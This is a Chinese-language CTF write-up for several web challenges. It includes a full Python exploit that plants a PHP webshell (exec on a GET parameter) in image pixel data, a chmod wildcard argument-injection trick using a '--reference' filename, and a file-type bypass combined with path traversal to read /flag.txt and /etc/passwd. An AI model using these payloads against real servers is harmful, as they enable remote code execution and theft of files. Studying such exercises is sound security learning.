[toc]

submission

只允许上传txt文件,看源码上传到uploads文件夹下,但是uploads文件夹权限是000,怎么绕过这一限制呢,难道要条件竞争吗image-20250517211238116

实际上如果在命令中使用通配符*是很危险的,因为如果上传的文件是.txt,在linux中就会被识别为隐藏文件,通配符无法找到。

其次,如果文件夹里有些文件名长得像命令的选项(比如 –help),系统可能会把这些文件名误以为是你想传给命令的参数。

接下来,chmod 命令中有一个 --reference=< 文件名> 选项,它会将所有文件更改为与 < 文件名> 相同的版本,可以将文件权限改为之前藏起来的.txt文件

https://www.freebuf.com/articles/system/176255

chdir($target_dir);
// make unreadable
shell_exec('chmod 000 *');

所以到这里我们的思路很清晰了

1.上传.txt文件绕过检测

2.上传–reference=.txt

3.读flag

kittyconvert

毫无疑问这是一道很像misc的web题

关键在于正则匹配这里,跟上一道题很相像,我们同样可以用类似.php这样的隐藏文件名来绕过

image-20250519110113213

如果我的捕获组1什么都捕获不到,就不会发生替换,这里可以做一个简单的测试

image-20250519111121210

基于此,我们可以传入php文件,接下来需要将脚本内容放到png图片里,因为传入的脚本还会进行一次图片格式的转换

ICO 文件特性:ICO 格式基于位图(BMP),支持 RGBA 数据。可以通过控制图片的 BGRA 值嵌入任意数据(例如 PHP 代码),但透明度值(A 通道)的 LSB(最低位)会被截断,因此只能使用 ASCII 值偶数的字符。

伪装为图片:将 PHP 代码嵌入 PNG 图片的像素数据(RGBA 通道),可以绕过服务器对文件类型的检查。脚本设置 MIME 类型为 image/png(files = {'file': ('.php', out, 'image/png')}),使服务器认为这是一个合法图片。

数据嵌入:PNG 的 RGBA 像素可以存储任意字节数据:

  • 每个像素有 4 个通道(R, G, B, A),存储 4 字节。
  • 64x64 图片有 4096 像素,可存储 4096 × 4 = 16,384 字节,远超 payload 的 33 字节。
  • 脚本将 PHP 代码的字节(如 < = 60, ? = 63)映射到像素的 RGBA 值。

ICO 转换保留数据:服务器将 PNG 转换为 ICO 时,提取像素的 BGRA 数据,可能直接保存为文件内容。由于文件名是 .php,服务器不会将其视为图片,而是存储为原始文件(包含 PHP 代码)。

from PIL import Image
import requests
import io

url="http://localhost:70/"

im=Image.new("RGBA",(64,64),"white")
pix=im.load()

payload=b"<?php    echo(exec($_GET[\"c\"])) ; ?>"
for i,vals in enumerate(zip(*[iter(payload)]*4)):
    if vals[3]%2==1:
        print(f"invalid alpha character '{payload.decode()[i*4+3]}' ({vals[3]}) (needs to be divisible by 2)")
    pix[(i%64,i//64)]=(vals[2],vals[1],vals[0],vals[3])

out=io.BytesIO()
im.save(out,"PNG")
out.seek(0,0)
files={
    'file':('.php',out,'image/png'),
    'submit':(None,'Convert'),
}

r=requests.post(url,files=files)
r=requests.get(url+"uploads/.php?c=cat+/flag.txt")
print('Flag: x3c{' + r.text.split("x3c{")[1].split("}")[0] + '}')

MVMCheckers-Inc

进来有一个上传图片的路由,上传的图片可以在另一个路由看到

看源码处理上传的逻辑部分

$uploadFile = "./magicians/" . $_POST["name"] . ".magic";
$tmpFile = $_FILES["magician"]["tmp_name"];

$mime = shell_exec("file -b $tmpFile");

tmpFile是不可控的,否则可以直接命令注入了

if (!preg_match('/\w{1,5} image.*/', $mime)) {
    echo "<p>Invalid upload!</p>";
    exit();
}

if (str_contains($uploadFile, "php")) {
    echo "<p>Invalid magician name!</p>";
    exit();
}

需要绕过一下两个if,才能把文件成功上传,先暂且不考虑怎么绕过,我们需要上传的是什么东西,在rebuild/index.php中可以看到,它可以解析json文件,并读取特定的文件,也就是说我们最终的利用点应该在这里,所以需要想办法传一个合适的json文件上去

function interpret($section) {
    $content = null;

    switch ($section->type) {
        case "text":
            $content = $section->value;
            break;
        case "link":
            $content = file_get_contents($section->value);
            break;
    }

    return "<$section->tag>$content</$section->tag>";
}

用ai写一个攻击json,

{
    "sections": [
        {
            "type": "link",
            "tag": "div",
            "value": "file:///etc/passwd"  // 读取系统敏感文件
        }
    ]
}

接下来有一个很明显的点,做的时候竟然没意识到,还是在文件名上做文章,可以打一个路径穿越,可以在name中进行,作用应该是把上传的文件放到rebuild目录下

回到json文件,要让file命令检测出的MIME类型为image,并且可以通过json文件的解析

搜索过程看到一些绕过file的东西

image-20250717212236259

尝试一手

image-20250717213457965

但是发现可以上传到上级目录,但是不能传到rebuild目录,这倒是小事,读的时候也路径穿越就可以了

但是显示页面不存在,所以还是json解码的时候失败了,能否构造json解码不失败的文件呢,看看其他人的wp

https://blog.regularofvanilla.com/posts/x3c#[Web]%20mvmcheckers-inc

好强,人直接去看file命令的源码了,也是一种思路

简单说,就是在第2048字节后加上PCD_IPI,就可以使file命令检测其为Kodak Photo CD image pack file文件

然而存在一个优先级问题我的理解就是先判断json,不符合json格式才会去2048字节,所以下述代码会输出json data

file = b"""{"sections": [{"type": "link", "tag": "i", "value":  "/flag.txt", "x": "a"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'
open("test", "wb").write(file)
os.system("file -b test")

但是,我们注意看代码

$pageString = file_get_contents("./$pageName");
$sanitized = str_replace("\\", "", $pageString);
$pageObject = json_decode($sanitized, flags: JSON_INVALID_UTF8_IGNORE);

会移除\符号,所以只需要用这个符号破坏json格式即可

简单做一个测试

import os
file = b"""\\{"sections": [
{
            "type": "link",
            "tag": "div",
            "value": "/flag.txt" 
        }
    ]
}"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'
open("test", "wb").write(file)
os.system("file -b test")

发现成功判断为柯达映像文件

完整代码

import requests

# URL = "https://45e2d4ee-d444-4631-ac4c-c1d2e59daebc.x3c.tf:31337/"
URL = "http://localhost:8080/"
EVIL = "https://xxx.ngrok.app/"

file = b"""\\{"sections": [{"type": "link", "tag": "i", "value":  "/flag.txt", "x": "a"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'

s = requests.session()
r = s.post(URL + "administration.php", files={
    "magician": ("x", file)
}, data={
    "name": "../xxxxx"
})

r = s.get(URL + "rebuild/?page=../xxxxx.magic")

print(r.status_code)
print(r.text)

blogdog

看上去似乎是要打一个有过滤的xss

同源策略:协议,主机,端口号都必须相同

没看懂这道题要干什么

心中无难事,只要肯放弃